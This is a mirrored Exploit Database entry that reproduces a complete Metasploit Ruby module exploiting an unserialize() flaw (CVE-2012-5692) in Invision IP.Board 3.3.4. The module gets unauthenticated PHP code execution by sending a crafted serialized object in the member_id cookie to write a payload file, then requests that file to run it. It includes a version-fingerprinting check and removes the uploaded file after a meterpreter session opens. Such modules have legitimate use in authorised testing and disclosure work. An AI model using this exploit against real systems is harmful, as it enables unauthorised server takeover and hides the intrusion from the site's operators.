Invision Power Board (IP.Board) 3.3.4 – ‘Unserialize()’ PHP Code Execution (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2012-11-13
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22686/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::PhpEXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
  			'Description'=> %q{
  					This module exploits a php unserialize() vulnerability in Invision IP.Board
  				<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
  				code under the context of the webserver user.
  
  				The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
  				which is called with user controlled data from the cookie. The exploit abuses the
  				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
  				the Invision IP.Board web directory.
  
  				The exploit has been tested successfully on Invision IP.Board 3.3.4.
  			},
  			'Author'	=>
  				[
  					'EgiX', # Vulnerability discovery and PoC
  					'juan vazquez', # Metasploit module
  					'sinn3r'# PhpEXE tekniq & check() method
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-5692' ],
  					[ 'OSVDB', '86702' ],
  					[ 'BID', '56288' ],
  					[ 'EDB', '22398' ],
  					[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
  				],
  			'Privileged' => false,
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Payload'=>
  				{
  					'Space' => 8000, #Apache's limit for GET
  					'DisableNops' => true
  				},
  			'Targets'=> [ ['Invision IP.Board 3.3.4', {}] ],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Oct 25 2012'
  			))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
  			], self.class)
  	end
  
  	def base
  		base = target_uri.path
  		base << '/' if base[-1, 1] != '/'
  		return base
  	end
  
  	def check
  		res = send_request_raw({'uri'=>"#{base}index.php"})
  		return Exploit::CheckCode::Unknown if not res
  
  		version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
  		version = version.map {|e| e.to_i}
  
  		# We only want major version 3
  		# This version checking is based on OSVDB's info
  		return Exploit::CheckCode::Safe if version[0] != 3
  
  		case version[1]
  		when 1
  			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
  		when 2
  			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
  		when 3
  			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def on_new_session(client)
  		if client.type == "meterpreter"
  			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
  			begin
  				print_warning("#{@peer} - Deleting #{@upload_php}")
  				client.fs.file.rm(@upload_php)
  				print_good("#{@peer} - #{@upload_php} removed to stay ninja")
  			rescue
  				print_error("#{@peer} - Unable to remove #{f}")
  			end
  		end
  	end
  
  	def exploit
  		@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
  		@peer = "#{rhost}:#{rport}"
  
  		# get_write_exec_payload uses a function, which limits our ability to support
  		# Linux payloads, because that requires a space:
  		# function my_cmd
  		# becomes:
  		# functionmy_cmd #Causes parsing error
  		# We'll have to address that in the mixin, and then come back to this module
  		# again later.
  		php_payload = get_write_exec_payload(:unlink_self=>true)
  		php_payload = php_payload.gsub(/^\<\?php/, '<?')
  		php_payload = php_payload.gsub(/ /,'')
  
  		db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"
  
  		print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
  
  		res = send_request_cgi(
  		{
  			'uri' => "#{base}index.php?#{php_payload}",
  			'method' => 'GET',
  			'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
  		})
  
  		if not res or res.code != 200
  			print_error("#{@peer} - Exploit failed: #{res.code}")
  			return
  		end
  
  		print_status("#{@peer} - Executing the payload #{@upload_php}")
  
  		res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})
  
  		if res
  			print_error("#{@peer} - Payload execution failed: #{res.code}")
  			return
  		end
  
  	end
  end